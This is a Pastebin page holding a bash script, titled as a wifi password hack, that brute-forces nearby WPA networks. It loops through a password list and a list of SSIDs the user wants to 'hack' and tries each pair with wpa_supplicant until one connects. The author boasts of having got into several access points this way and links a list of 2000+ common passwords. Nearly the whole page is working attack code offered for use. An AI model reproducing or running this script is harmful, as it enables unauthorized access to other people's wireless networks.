sxiii

Wifi Password Easy Hack Script - Directconnection Bruteforce

May 8th, 2014
539
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.43 KB | None | 0 0
  1. #!/bin/bash
  2. # This small script is intended for Wifi "often-used" passwords testing.
  3. # It takes passwords from $passfile and ssids from $ssidfile and tries
  4. # to connect to each ssid with each password for $sleeping seconds. If the
  5. # connection is established, it also pings google to know that conn is good.
  6. # It can use either NMCLI interface or WPA_SUPPLICANT interface.
  7. # REQUIRED SOFTWARE: wpa_supplicant, bash, echo, dhclient, killall, ping :)
  8. # REQUIRED FILES:
  9. # - pass.list with passwords (one pass per line, minimum 8 characters each)
  10. # - ssid.list with wifi ssid names (one wifi name per line, no spaces)
  11. # If you need, download my sample pass.list file with 2000+ passwords here:
  12. # http://pastebin.com/NUH0Sf4j
  13. # NOTE 0: Don't forget to check or change interface (wlan0 is default).
  14. # NOTE 1: I've got access to multiple wifi AP's working with WPA_SUPPLICANT.
  15. # NOTE 2: NMCLI currently untested and will NOT work as expected!
  16. # That's all for now. /// 09.05.2014 - Security XIII at Gmail Dot Com
  17.  
  18. # Choose password file - please read headings of this file if you need one
  19. passfile="pass.list"
  20. # Choose ssid file - please add your own close wifi ssid names you like to hack, one per row
  21. ssidfile="ssid.list"
  22. # Choose interface to work with
  23. iface="wlan0"
  24. # Choose to work via nmcli or via wpa_supplicant
  25. work="viawpa"
  26. # Sleeping (wait for connecion) for how long (seconds)?
  27. sleeping=10
  28.  
  29. ###############################################
  30. # Editing below this line is not recommended. #
  31. ###############################################
  32.  
  33. # Function if working via NMCLI:
  34. vianmcli () { nmcli dev wifi con "$ssid" password "$pass"; }
  35.  
  36. # Function if working via wpa_supplicant:
  37. viawpa () {
  38. sudo wpa_passphrase "$ssid" "$pass" > /etc/wpa_supplicant.conf
  39. sudo wpa_supplicant -Dwext -i"$iface" -c /etc/wpa_supplicant.conf&
  40. sleep $sleeping
  41. sudo dhclient -r "$iface"&
  42. sleep 2
  43. if [ "$(ping -c 1 google.com)" == "" ]; then
  44. echo "Sorry, Wifi password is incorrect or no internet connection established."
  45. sudo killall wpa_supplicant
  46. else
  47. echo "Successfully connected to $ssid wih $pass password. Gooping:"
  48. ping -c 4 google.com
  49. exit 0;
  50. fi
  51. }
  52.  
  53. # For each password and each ssid, run the specified function ($work)
  54. for pass in $(cat "$passfile"); do
  55.  for ssid in $(cat "$ssidfile"); do
  56.   echo "Trying to connect to '$ssid' with pass '$pass'"
  57.   $work
  58.   echo "Pinging google DNS, press Ctrl+C to stop if failed"
  59.   ping 8.8.8.8
  60.  done
  61. done
Add Comment
Please, Sign In to add comment